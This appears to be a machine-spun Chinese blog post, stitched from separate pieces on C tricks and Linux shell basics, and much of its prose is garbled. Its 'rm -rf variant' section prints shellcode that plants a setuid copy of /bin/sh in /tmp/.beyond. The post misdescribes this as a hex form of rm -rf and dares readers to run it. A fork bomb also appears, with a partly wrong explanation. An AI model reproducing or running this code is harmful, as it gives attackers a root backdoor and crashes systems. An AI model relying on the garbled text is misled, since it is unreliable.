Shell - Linux中的生存法则

从Hello World说起

本文为那些年我们赶了的语言的C语言篇。第一单C语言程序是Hello
World, 创作者Brian W. Kernighan, The C Programming
Language

的撰稿人之一。同时, 这是本文推荐的首先据有关C语言的书本,
它几乎涵盖C中保有的根基语法和注意事项. 现在,
请随我一样打再这段经典代表码.
#include <stdio.h>

int main(int argc, char* argv[]){ printf("Hello World\n"); return 0;}

对每个C程序, 系统运转的输入即是main. 那么,
从网接口传入的参数自然要传至该参数int argc, char* argv[]中. 其中,
argc表示参数个数, argv盖字符指针数组的形式保留各个参数.
为证明真实传参情况, 编写如下程序test.c以输出argcargv:
#include <stdio.h>

int main(int argc, char* argv[]){ int i; printf("%d argument(s):", argc); for(i=0; i<argc; ++i) printf(" %s", argv[i]); return 0;}

随后, 我们编译test.c也可执行文件test, 并带参运行它们:

yogy@Kali:~/PL$ gcc -o test test.cyogy@Kali:~/PL$ ./test foo bar baz qux5 argument(s): ./test foo bar baz qux

结果表明, 系统以接的5只字符串都看成参数传入了main函数, 包括./test.

描绘在前头

用作本文也那些年我们赶了的言语的首篇Shell,
在这个说明写文初衷. 本系列并无作普遍文.
文章将为自我个人在上学和行使这些语言过程中,
所碰到的好玩之也许需要小心的情为主, 称该也回忆录也并不为过. 同时,
为便宜感兴趣的冤家继续上, 将列有自我用了的资源为保证质量.
正而之前所谈, 本系列:

力求文笔精炼,遵循浪漫现实主义;尽可能多干货,不破风花雪月人生哲学;接受批评,谢绝灌水。

PS: 本文涉及有命令, 请仔细读解说后自行决定是否尝试,
由此带动的格盘奔溃等题材, 在下实在爱从未能助.

面向过程的C

有人说, C语言的被编程语言, 好似内功心法之为武学. 在是,
我们只谈对个人的震慑, 不论江湖地位. C语言作为国内高校大入门语言
(国外大多为Python和Java), 也是自个儿上学之第一山头编程语言. 当年以的书写是
Programming in
C
,
对于新人或者着力引进她, 通俗易懂, 性价比高. 作为一门面往过程的语言,
C对自身马上四年之编程思路影响最非常, 以至于无论使用C++还是Python,
普遍以了C的风骨, 失去了面向对象的特性. 当然,
这里面饱含一直攻算法的关系. 我始终认为,
算法是一样栽是面向过程的逻辑思考方法, 使用封装一定水准上牺牲了它们的效率.
总之, 想抱门C, 踏实看开, 学会像程序一样想, 思路比较语法重要. 另,
C进路书籍推荐:

  • C陷阱和缺陷
  • Expert C
    Programming
  • 编程的美
  • 编程珠玑

继少照就是为着给您切莫会见感觉无趣, 同时必将程度满足IT面试的求,
并非系统算法学习.

起携程说由

2015年5月28日, 携程服务器全线奔溃, PC端及移动端都出现系统故障.
众说纷纭, 比较好玩的亲闻是内部人员出现命令行操作失误,
rm -rf /a/b/c敲成rm -rf / a/b/c. 真相无从得知, 也无故深究,
我们唯有从马上行命令说自, 引出今天底主题Shell.

假如您以Linux, 相信对rm一声令下并无陌生. rm意味着去, -r意味着文件夹,
-f表示强制. 所以,
原始之命令rm -rf /a/b/c意味着强制删除目录在/a/b/c下之具备文件.
再来并看误操作命令rm -rf / a/b/c, 由于第一只/晚空格,
系统以执行命令rm -rf /, /代表系统根目录, 由此悲剧上演. 当然,
这要root权限, 普通用户必须使sudo才能够尽该类操作.

黑魔法

Linux Shell

上述的rm -rf /a/b/c哪怕是一律长达交互式Shell语句, 用于用户与系统交流.
简单的话, 用户以Linux终端键入Shell命令 (交互式), 或运行Shell脚本
(批量式), 系统便会见履行其, 前提是Shell书写对且若所有足够权限. Bash
(GNU Bourne-Again Shell) 是众Linux平台的内定Shell, 事实上,
还有为数不少传统UNIX上用的Shell, 像tcsh、csh、ash、bsh、ksh等等.
如今Debian和Ubuntu中, /bin/sh默认指为Dash, 相比于Bash, 它快又快,
但功能又少. 手动将终端链接至Bash的吩咐是: ln -s /bin/bash /bin/sh.
想如果更了解Shell基础概念与常用命令, 请访问以下资源:

  • Unix_shell
  • Bash_(Unix_shell))
  • GNU
    Bash
  • Linux Shell Scripting
    Cookbook
  • 鸟哥Linux私房菜

1. Hello World

#define _________ } #define ________ putchar #define _______ main #define _(a) ________(a); #define ______ _______(){ #define __ ______ _(0x48)_(0x65)_(0x6C)_(0x6C) #define ___ _(0x6F)_(0x2C)_(0x20)_(0x77)_(0x6F) #define ____ _(0x72)_(0x6C)_(0x64)_(0x21) #define _____ __ ___ ____ _________ #include<stdio.h> _____

方就段Hello World代码, 使用预处理#define的迭代操作,
结合了十六进制的ASICC码.
#include <stdio.h>
main(){
int
i,n[]={(((1<<1)<<(1<<1)<<(1<<1)<<(1<<(1>>1)))+((1<<1)<<(1<<1))),
(((1<<1)<<(1<<1)<<(1<<1)<<(1<<1))-((1<<1)<<(1<<1)<<(1<<1))+((1<<1)<<(1<<(1>>1)))+(1<<(1>>1))),(((1<<1)<<(1<<1)<<(1<<1)<<
(1<<1))-((1<<1)<<(1<<1)<<(1<<(1>>1)))-
((1<<1)<<(1<<(1>>1)))),(((1<<1)<<(1<<1)<<(1
<<1)<<(1<<1))-((1<<1)<<(1<<1)<<(1<<(1>>1)))-((1<<1)<<(1<<(1>>1)))),(((1<<1)<<
(1<<1)<<(1<<1)<<(1<<1))-((1<<1)<<(1<<1)<<(
1<<(1>>1)))-(1<<(1>>1))),(((1<<1)<<(1<<1
)<<(1<<1))+((1<<1)<<(1<<1)<<(1<<(1>>1)))
-((1<<1)<<(1<<(1>>1)))),((1<<1)<<
(1<<1)<<(1<<1)),(((1<<1)<<(1<<1)<<(1<<1)<<(1<<1))-((1<<1)<<(1<<1))-(1<<(1>>1))),(((1<<
1)<<(1<<1)<<(1<<1)<<(1<<1))-((1<<1)<<
(1<<1)<<(1<<(1>>1)))-(1<<(1>>1))),
(((1<<1)<<(1<<1)<<(1<<1)<<(1<<1))-
((1<<1)<<(1<<1)<<(1<<(1>>1)))+(1<<1)),
(((1<<1)<<(1<<1)<<(1<<1)<<
(1<<1))-((1<<1)<<(1<<1)<<(1<<(1>>1)))-((1<<1)<<(1<<(1>>1)))),
(((1<<1)<<(1<<1)<<(1<<1)<<(1<<1))-((1<<1)<<(1<<1)<<(1<<1))+((1<<1)<<(1<<(1>>1)))),
(((1<<1)<<(1<<1)<<(1<<1))+(1<<(1>>1))),(((1<<1)<<(1<<1))+((1<<1)<<(1<<(1>>1)))

  • (1<<(1>>1)))};
    for(i=(1>>1);i<=((1<<1)<<(1<<1))+((1<<1)<<(1<<(1>>1)));++i)
    printf("%c",n[i]);
    }
    举手投足操作<<>>凡特别硬的操作, 相比于随着除2的盖, 效率高很多. 这段Hello
    World, 凑各种2次幂也是微醉, 作者不详. 重要提示:
    移位操作符优先级低于+-, 请时刻铭记是否用充满号.

黑魔法

2. ++--

先行看stackoverflow上之一个议论What is the name of the “-->”
operator?.
#include <stdio.h>
int main() {
int x = 10;
while (x --> 0) {
printf("%d ", x);
}
}
上述代码输出结果吧9 8 7 6 5 4 3 2 1 0, 提问者对第4尽被的-->代表疑惑,
是否它应掌握吧”趋向于”. 问题自己非常好理解, x --> 0应当当(x--) > 0,
即先与0比较重于减.

自加++和自减--最为经典的讨论即是彼职务放置变量的眼前要后. 接下去,
让我们从汇编角度做出分析. 原分析作者不详, 如发问题要联系我.

i = i2++之反汇编代码分析:

  1. 将dword ptr [i2](即i2中之内存单元)中的多寡拷贝到eax寄存器中
  2. 将eax寄存器中的数量(即i2)拷贝到dword ptr [i](即i的内存单元)中
  3. 将dword ptr [i2](即i2中之内存单元)中的数额拷贝到ecx寄存器中
  4. 用ecx寄存器中的情自增1
  5. 将ecx寄存器中之始末(ecx加1后的数量)拷贝到dword ptr [i2]

i = ++i2的反汇编代码分析:

  1. 将dword ptr [i2](即i2中之内存单元)中之数额拷贝到eax寄存器中
  2. 用eax寄存器中之情节自增1
  3. 拿eax寄存器中之始末(eax加1后底数据)拷贝到dword ptr
    [i2](即i2中之内存单元)
  4. 将dword ptr [i2](即i2中的内存单元)中之数码拷贝到ecx寄存器中
  5. 以ecx寄存器中的情节(ecx加1后底多寡)拷贝到dword ptr
    [i](即i所当的内存单元)

鉴于上述分析会, 自加自减对内建数据类型的景况,效率没有分。

任何, 与自加自减功能相近, -~i表示i+1, ~-i表示i-1.
但鉴于她是经过各项运算办到的, 放在变量之后没意义.

1. rm -rf变种

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

尚记得本文开篇的rm -rf命令么? 上面立段代码便是其的十六进制形式.
不迷信就是试试, 重走携程路.

3. Quine

Quine因哲学家Willard van Orman Quine命名,
表示一个足输出他好之全源代码的次,
详见Quine_(computing)).
下面, 请欣赏彩蛋:

  • youmu.c - 魂魄
    妖夢
  • yuyuko.c - 西行寺
    幽々子

上述代码用C编译 (gcc -ansi) 均得到youmu, 而使用C++编译 (g++)
都输出yuyuko. 这种程序名为Polyglot,
详见Polyglot_(computing)).
上述彩蛋便是利用一定的3字符片段来区分C和C++.

2. fork炸弹

:(){:|:&};:

简而言之的话, 这是名也:的递归函数的定义及执行. 函数定义的核心{:|:&}中,
|表示又执行, :|代表后台执行. 全段最后之:否调用该函数的语句.
此时, 系统还要运行两只:函数, 一个前台, 一个继台. 无限递归,
直到世界尽头. 对是我只好说: 重启试试.

结束语

"Hello, World!" 开始, 从 World:" Hello"! 走向另一个开始.

图片 1

C

3. foobar

root@Kali:~# ipconfigbash: ipconfig: 未找到命令root@Kali:~# ^ip^ififconfig

^foo^bar凡是替换命令, 用于将手上终端上次输入的命中之foo替换为bar.
上面的代码是拿左的ipconfig通过^ip^if替换为ifconfig.
当令很丰富时, 该替换技巧非常方便. 关于foo和bar的意思,
可以翻计算机冷知Foobar.

4. if语句

if [ condition ]; then...fi

周边的准绳语句if, 对于了解Shell却大有裨益.
新手对于该语法最易犯的荒谬是[]两侧不加以空格, 换言之,
[ condition ]用作一个整体.
这就算事关到对Shell这种解释性语言的执行方的理解. 实际上, [],
都与if如出一辙, 都是独自的下令, 而下令中必须使空格隔开.
当系统读入[常常, 它以连接下的参数理解也用户提出的condition;
当读入]不时, 它才晓得在头里一刻condition终结. 同理,
使用Shell处理任何语句时, 也答应时刻为解析器的角度去想想如何执行命令.

5. grep命令

grep全称为globally search a regular expression and print,
是同等种植功能强大的全局正则表达式搜索令, 多用于管道符|之后.
关于正则的精锐的处, 可以举个简单的例子.
Leetcode的Shell题库中生一道Valid Phone
Numbers,
题意为筛出符合(xxx) xxx-xxxx or xxx-xxx-xxxx. (x means a digit)格式的编号输出.

直模拟的Bash代码如下:

#!/bin/bashm=0while read line; do len=${#line} flag=1 if [ $len -eq 12 ];then if [[ ${line:3:1} != "-" || ${line:7:1} != "-" ]];then flag=0 fi for ((i=0; i!=len; i++));do if [[ $i -eq 3 || $i -eq 7 ]];then continue fi ch=${line:$i:1} if [[ $ch < "0" || $ch > "9" ]];then flag=0 break fi done elif [ $len -eq 14 ];then if [[ ${line:0:1} != "(" || ${line:4:1} != ")" || ${line:5:1} != " " || ${line:9:1} != "-" ]];then flag=0 fi for ((i=0; i!=len; i++));do if [[ $i -eq 0 || $i -eq 4 || $i -eq 5 || $i -eq 9 ]];then continue fi ch=${line:$i:1} if [[ $ch < "0" || $ch > "9" ]];then flag=0 break fi done else flag=0 fi if [ $flag -eq 1 ];then echo $line fi ((m++))done < file.txt

grep正则法如下:

cat file.txt | grep -Eo '^([0-9]{3}-){2}[0-9]{4}$|^(\([0-9]{3}\) )[0-9]{3}-[0-9]{4}$'

刚巧则王道. 进一步读书与用grep和正则表达式, 可参考以下资源:

  • grep
  • GNU
    grep
  • Regular_expression

结束语

咱俩赶了的语言的Shell篇 , 至此告一段落. 遗憾之是,
Linux中极度多光怪陆离, 时交今日, 记忆模糊, 无从生笔. 至于本文所提及的情,
如发荒唐欢迎指正. 当然, 更希望能够跟诸位的奇怪思想碰撞火花.

Shell

相关文章

Comment ()
评论是一种美德,说点什么吧,否则我会恨你的。。。